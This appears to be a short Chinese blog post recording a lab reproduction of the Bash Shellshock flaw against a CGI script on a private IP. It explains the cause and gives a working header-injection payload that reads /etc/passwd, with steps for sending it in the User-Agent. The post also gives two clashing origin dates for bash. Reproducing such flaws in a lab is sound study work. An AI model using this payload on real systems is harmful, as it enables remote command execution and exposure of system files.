bourne again shell（簡稱bash）是在gnu/linux上最流行的shell實現，于1980年誕生，經過了幾十年的進化從一個簡單的終端命令行解釋器演變成了和gnu系統深度整合的多功能接口。
Bash，unix shell的一種。1989年發布第一個正式版本，原先是計劃用在GNU操作系統上，但能運行于大多數類Unix系統的操作系統之上，包括Linux與Mac OS X v10.4都將它作為默認shell。它也被移植到microsoft windows上的Cygwin與MinGW，或是可以在MS-DOS上使用的DJGPP項目。在Novell NetWare與android上也有移植。
目前的Bash使用的環境變量是通過函數名稱來調用的，導致漏洞出問題的是以”(){”開頭定義的環境變量在命令ENV中解析成函數后，Bash執行未退出，而是繼續解析并執行shell命令，而其核心的原因在于在輸入的過濾中沒有嚴格限制邊界，也沒有做出合法化的參數判斷。
本文僅作漏洞復現記錄與實現，利用流程如下:
1.漏洞環境
鏈接：http://192.168.101.152:8080/victim.cgi
2.漏洞payload
() { :; }; echo; /bin/cat /etc/passwd
理論上，可以在HTTP請求中注入一個Bash命令，進行遠程命令執行
3.利用流程
訪問目標
將User-Agent值替換為payload，即可執行命令
User-Agent并非必須條件
<br/>
? 版權聲明
文章版權歸作者所有，未經允許請勿轉載。
THE END
